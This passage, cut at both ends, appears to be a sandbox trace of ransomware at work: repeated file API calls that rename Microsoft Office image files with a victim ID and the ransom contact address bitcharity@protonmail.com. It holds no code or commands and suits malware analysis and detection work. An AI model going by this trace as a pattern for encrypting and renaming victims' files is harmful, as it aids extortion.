dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\InformationIcon.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\informationicon.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.427] CloseHandle (hObject=0x1278) returned 1 [0266.427] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.427] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\InformationIconMask.bmp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\informationiconmask.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.427] CloseHandle (hObject=0x1278) returned 1 [0266.428] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.428] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\LoginDialogBackground.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\logindialogbackground.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.428] CloseHandle (hObject=0x1278) returned 1 [0266.429] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.429] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\LoginTool24x24Images.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\logintool24x24images.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.429] CloseHandle (hObject=0x1278) returned 1 [0266.430] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.430] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\LoginTool24x24ImagesMask.bmp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\logintool24x24imagesmask.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.430] CloseHandle (hObject=0x1278) returned 1 [0266.431] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.431] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\MessageAttachmentIconImages.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\messageattachmenticonimages.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.432] CloseHandle (hObject=0x1278) returned 1 [0266.433] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.433] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\MessageAttachmentIconImagesMask.bmp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\messageattachmenticonimagesmask.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.433] CloseHandle (hObject=0x1278) returned 1 [0266.434] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.434] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\MessageHistoryIconImages.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\messagehistoryiconimages.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.435] CloseHandle (hObject=0x1278) returned 1 [0266.436] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.436] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\MessageHistoryIconImagesMask.bmp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\messagehistoryiconimagesmask.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.436] CloseHandle (hObject=0x1278) returned 1 [0266.437] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.437] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\NotifierBackground.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\notifierbackground.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.438] CloseHandle (hObject=0x1278) returned 1 [0266.439] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.439] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\NotifierBackgroundRTL.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\notifierbackgroundrtl.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.439] CloseHandle (hObject=0x1278) returned 1 [0266.440] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.440] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\NotifierCloseButton.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\notifierclosebutton.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.440] CloseHandle (hObject=0x1278) returned 1 [0266.441] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.441] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\NotifierDisableDownArrow.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\notifierdisabledownarrow.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.441] CloseHandle (hObject=0x1278) returned 1 [0266.442] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.442] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\NotifierDisableUpArrow.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\notifierdisableuparrow.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.442] CloseHandle (hObject=0x1278) returned 1 [0266.443] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.443] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\NotifierDownArrow.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\notifierdownarrow.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.443] CloseHandle (hObject=0x1278) returned 1 [0266.444] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.444] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\NotifierUpArrow.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\notifieruparrow.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.444] CloseHandle (hObject=0x1278) returned 1 [0266.445] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.445] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\NotifierWindowMask.bmp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\notifierwindowmask.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.445] CloseHandle (hObject=0x1278) returned 1 [0266.446] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.446] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\NotifierWindowMaskRTL.bmp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\notifierwindowmaskrtl.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.446] CloseHandle (hObject=0x1278) returned 1 [0266.447] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.447] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\OutofSyncIconImages.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\outofsynciconimages.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.447] CloseHandle (hObject=0x1278) returned 1 [0266.448] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.448] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\OutofSyncIconImagesMask.bmp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\outofsynciconimagesmask.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.448] CloseHandle (hObject=0x1278) returned 1 [0266.449] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.449] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\QuestionIcon.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\questionicon.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.449] CloseHandle (hObject=0x1278) returned 1 [0266.450] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.450] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\QuestionIconMask.bmp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\questioniconmask.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.450] CloseHandle (hObject=0x1278) returned 1 [0266.451] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.451] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\Shared16x16Images.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\shared16x16images.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.451] CloseHandle (hObject=0x1278) returned 1 [0266.452] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.452] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\Shared16x16ImagesMask.bmp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\shared16x16imagesmask.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.452] CloseHandle (hObject=0x1278) returned 1 [0266.453] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.453] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\Shared24x24Images.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\shared24x24images.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.453] CloseHandle (hObject=0x1278) returned 1 [0266.453] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.454] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\Shared24x24ImagesMask.bmp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\shared24x24imagesmask.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.454] CloseHandle (hObject=0x1278) returned 1 [0266.455] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.455] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\STOPICON.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\stopicon.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.455] CloseHandle (hObject=0x1278) returned 1 [0266.456] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.456] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\StopIconMask.bmp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\stopiconmask.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.456] CloseHandle (hObject=0x1278) returned 1 [0266.553] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.553] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\TaskbarIconImages256Colors.bmp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\taskbariconimages256colors.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.554] CloseHandle (hObject=0x1068) returned 1 [0266.554] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.555] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-black_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.555] CloseHandle (hObject=0x1068) returned 1 [0266.555] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.555] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-black_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.556] CloseHandle (hObject=0x1068) returned 1 [0266.556] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.557] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.557] CreateFileW (lpFileName="C:\\Program 